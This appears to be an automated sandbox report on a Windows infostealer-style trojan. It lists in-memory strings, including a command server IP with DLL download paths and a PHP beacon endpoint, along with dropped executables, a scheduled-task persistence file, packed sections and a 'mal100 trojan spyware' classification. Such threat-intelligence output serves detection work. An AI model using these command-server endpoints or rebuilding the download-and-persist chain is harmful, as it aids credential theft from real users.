Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/msvcp140.dll
Source: file.exe, 00000000.00000002.1382358671.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/nss3.dll
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/softokn3.dll
Source: file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/sqlite3.dll
Source: file.exe, 00000000.00000002.1382358671.00000000015DF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/69934896f997d5bb/vcruntime140.dll
Source: file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp, dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.php
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpF
Source: file.exe, 00000000.00000002.1382358671.000000000158E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpl
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpq
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000192E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/920475a59bac849d.phpt
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/F
Source: dca3d29d0f.exe, 00000017.00000002.1572018798.000000000196D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://85.28.47.4/g
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDCodeSigningCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0O
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/DigiCertTrustedRootG4.crl0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl3.digicert.com/sha2-assured-cs-g1.crl05
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl07
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://crl4.digicert.com/sha2-assured-cs-g1.crl0K
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0A
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0C
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0N
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://ocsp.digicert.com0X
Source: file.exe, random[1].exe.20.dr, dca3d29d0f.exe.20.dr	String found in binary or memory: http://pki-crl.symauth.com/ca_732b6ec148d290c0a071efd1dac8e288/LatestCRL.crl07
Source: file.exe, random[1].exe.20.dr, dca3d29d0f.exe.20.dr	String found in binary or memory: http://pki-crl.symauth.com/offlineca/TheInstituteofElectricalandElectronicsEngineersIncIEEERootCA.cr
Source: file.exe, random[1].exe.20.dr, dca3d29d0f.exe.20.dr	String found in binary or memory: http://pki-ocsp.symauth.com0
Source: Amcache.hve.15.dr	String found in binary or memory: http://upx.sf.net
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: http://www.digicert.com/CPS0
Source: file.exe, file.exe, 00000000.00000002.1415249162.000000006CE1D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr	String found in binary or memory: http://www.mozilla.com/en-US/blocklist/
Source: file.exe, 00000000.00000002.1403869241.000000001CC35000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.1415068543.0000000061ED3000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: http://www.sqlite.org/copyright.html.
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecop
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecopnacl
Source: GCGCFCBA.0.dr	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696490019400400000.2&ci=1696490019252.
Source: file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696490019400400000.1&ci=1696490019252.12791&cta
Source: GCGCFCBA.0.dr	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg
Source: file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: GCGCFCBA.0.dr	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: file.exe, 00000000.00000002.1382358671.00000000015F9000.00000004.00000020.00020000.00000000.sdmp, GCGCFCBA.0.dr	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://imp.mt48.net/static?id=7RHzfOIXjFEYsBdvIpkX4Qqm4pqWfpl%2B4pbW4pbWfpbW7ReNxR3UIG8zInwYIFIVs9e
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://mozilla.org0/
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://support.mozilla.org
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://support.mozilla.org/products/firefoxgro.allizom.troppus.S3DiLP_FhcLK
Source: file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://www.amazon.com/?tag=admarketus-20&ref=pd_sl_ef0fa27a12d43fbd45649e195429e8a63ddcad7cf7e128c0
Source: freebl3[1].dll.0.dr, softokn3[1].dll.0.dr, nss3.dll.0.dr, freebl3.dll.0.dr, nss3[1].dll.0.dr, mozglue[1].dll.0.dr, mozglue.dll.0.dr, softokn3.dll.0.dr	String found in binary or memory: https://www.digicert.com/CPS0
Source: GCGCFCBA.0.dr	String found in binary or memory: https://www.ecosia.org/newtab/
Source: GCGCFCBA.0.dr	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: file.exe, 00000000.00000002.1382358671.0000000001704000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAK.0.dr	String found in binary or memory: https://www.invisalign.com/?utm_source=admarketplace&utm_medium=paidsearch&utm_campaign=Invisalign&u
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://www.mozilla.org
Source: file.exe, 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.jXqaKJMO4ZEP
Source: file.exe, 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/t.exe
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.NYz0wxyUaYSW
Source: file.exe, 00000000.00000002.1379707734.00000000001AA000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/vchost.exe
Source: file.exe, 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: file.exe, 00000000.00000003.1330054634.000000002EC4B000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/gro.allizom.www.d
Source: HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: file.exe, 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: file.exe, 00000000.00000003.1330054634.000000002EC4B000.00000004.00000020.00020000.00000000.sdmp, HCFIIIJJKJKFHIDGDBAKJEBKEG.0.dr	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: file.exe, 00000000.00000002.1379707734.00000000000A8000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/host.exe

System Summary

PE file contains section with special chars

Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name:
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name: .idata
Source: IIEBGIDAAF.exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name:
Source: explorti.exe.17.dr	Static PE information: section name: .idata
Source: explorti.exe.17.dr	Static PE information: section name:

PE file has nameless sections

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: random[1].exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:
Source: dca3d29d0f.exe.20.dr	Static PE information: section name:

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Process Stats: CPU usage > 49%

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0B700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CE0B700
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0B8C0 rand_s,NtQueryVirtualMemory,	0_2_6CE0B8C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0B910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	0_2_6CE0B910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAF280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	0_2_6CDAF280

Source: C:\Users\user\AppData\Local\Temp\IIEBGIDAAF.exe

File created: C:\Windows\Tasks\explorti.job

Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA35A0	0_2_6CDA35A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCD4D0	0_2_6CDCD4D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB64C0	0_2_6CDB64C0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE6CF0	0_2_6CDE6CF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAD4E0	0_2_6CDAD4E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE034A0	0_2_6CE034A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0C4A0	0_2_6CE0C4A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB6C80	0_2_6CDB6C80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB5440	0_2_6CDB5440
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1545C	0_2_6CE1545C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1542B	0_2_6CE1542B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE5C10	0_2_6CDE5C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF2C10	0_2_6CDF2C10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1AC00	0_2_6CE1AC00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE0DD0	0_2_6CDE0DD0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE085F0	0_2_6CE085F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCED10	0_2_6CDCED10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD0512	0_2_6CDD0512
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBFD00	0_2_6CDBFD00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE176E3	0_2_6CE176E3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDABEF0	0_2_6CDABEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBFEF0	0_2_6CDBFEF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE04EA0	0_2_6CE04EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC5E90	0_2_6CDC5E90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE0E680	0_2_6CE0E680
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE16E63	0_2_6CE16E63
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC9E50	0_2_6CDC9E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE3E50	0_2_6CDE3E50
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF2E4E	0_2_6CDF2E4E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC4640	0_2_6CDC4640
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAC670	0_2_6CDAC670
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE7E10	0_2_6CDE7E10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE09E30	0_2_6CE09E30
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF5600	0_2_6CDF5600
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD6FF0	0_2_6CDD6FF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDADFE0	0_2_6CDADFE0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF77A0	0_2_6CDF77A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE7710	0_2_6CDE7710
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB9F00	0_2_6CDB9F00
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE150C7	0_2_6CE150C7
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCC0E0	0_2_6CDCC0E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE58E0	0_2_6CDE58E0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD60A0	0_2_6CDD60A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC8850	0_2_6CDC8850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCD850	0_2_6CDCD850
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEF070	0_2_6CDEF070
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDB7810	0_2_6CDB7810
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEB820	0_2_6CDEB820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDF4820	0_2_6CDF4820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE5190	0_2_6CDE5190
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDDD9B0	0_2_6CDDD9B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE02990	0_2_6CE02990
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAC9A0	0_2_6CDAC9A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1B170	0_2_6CE1B170
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDCA940	0_2_6CDCA940
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDFB970	0_2_6CDFB970
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBD960	0_2_6CDBD960
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE8AC0	0_2_6CDE8AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDC1AF0	0_2_6CDC1AF0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDEE2F0	0_2_6CDEE2F0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE12AB0	0_2_6CE12AB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBCAB0	0_2_6CDBCAB0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE1BA90	0_2_6CE1BA90
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA22A0	0_2_6CDA22A0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDD4AA0	0_2_6CDD4AA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDE9A60	0_2_6CDE9A60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CE153C8	0_2_6CE153C8
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDAF380	0_2_6CDAF380
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDA5340	0_2_6CDA5340
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDBC370	0_2_6CDBC370
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_6CDED320	0_2_6CDED320
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EBE410	20_2_00EBE410
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EB4CD0	20_2_00EB4CD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EF3048	20_2_00EF3048
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EE7D63	20_2_00EE7D63
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EF6EE9	20_2_00EF6EE9
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EB4AD0	20_2_00EB4AD0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EF763B	20_2_00EF763B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EF2BB0	20_2_00EF2BB0
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EF775B	20_2_00EF775B
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 20_2_00EF8700	20_2_00EF8700

Source: Joe Sandbox View	Dropped File: C:\ProgramData\freebl3.dll EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
Source: Joe Sandbox View	Dropped File: C:\ProgramData\mozglue.dll BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A

Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDDCBE8 appears 134 times
Source: C:\Users\user\Desktop\file.exe	Code function: String function: 6CDE94D0 appears 90 times

Source: file.exe, 00000000.00000002.1415538123.000000006D025000.00000002.00000001.01000000.00000007.sdmp	Binary or memory string: OriginalFilenamenss3.dll0 vs file.exe
Source: file.exe, 00000000.00000002.1415287080.000000006CE32000.00000002.00000001.01000000.00000008.sdmp	Binary or memory string: OriginalFilenamemozglue.dll0 vs file.exe

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe	Static PE information: Section: ZLIB complexity 0.9997141768292683
Source: file.exe	Static PE information: Section: ZLIB complexity 0.99530029296875
Source: file.exe	Static PE information: Section: ZLIB complexity 0.989990234375
Source: IIEBGIDAAF.exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: IIEBGIDAAF.exe.0.dr	Static PE information: Section: rqnxqxgu ZLIB complexity 0.9947550516917293
Source: amadka[1].exe.0.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: amadka[1].exe.0.dr	Static PE information: Section: rqnxqxgu ZLIB complexity 0.9947550516917293
Source: explorti.exe.17.dr	Static PE information: Section: ZLIB complexity 0.9983083589480874
Source: explorti.exe.17.dr	Static PE information: Section: rqnxqxgu ZLIB complexity 0.9947550516917293
Source: random[1].exe.20.dr	Static PE information: Section: ZLIB complexity 0.9997141768292683
Source: random[1].exe.20.dr	Static PE information: Section: ZLIB complexity 0.99530029296875
Source: random[1].exe.20.dr	Static PE information: Section: ZLIB complexity 0.989990234375
Source: dca3d29d0f.exe.20.dr	Static PE information: Section: ZLIB complexity 0.9997141768292683
Source: dca3d29d0f.exe.20.dr	Static PE information: Section: ZLIB complexity 0.99530029296875
Source: dca3d29d0f.exe.20.dr	Static PE information: Section: ZLIB complexity 0.989990234375

Source: explorti.exe.17.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: IIEBGIDAAF.exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5
Source: amadka[1].exe.0.dr	Static PE information: Entrypont disasm: arithmetic instruction to all instruction ratio: 1.0 > 0.5 instr diversity: 0.5

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@20/30@0/3

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6CE07030 GetLastError,FormatMessageA,__acrt_iob_func,__acrt_iob_func,__acrt_iob_func,fflush,LocalFree,

0_2_6CE07030

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\freebl3[1].dll

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7764:120:WilError_03
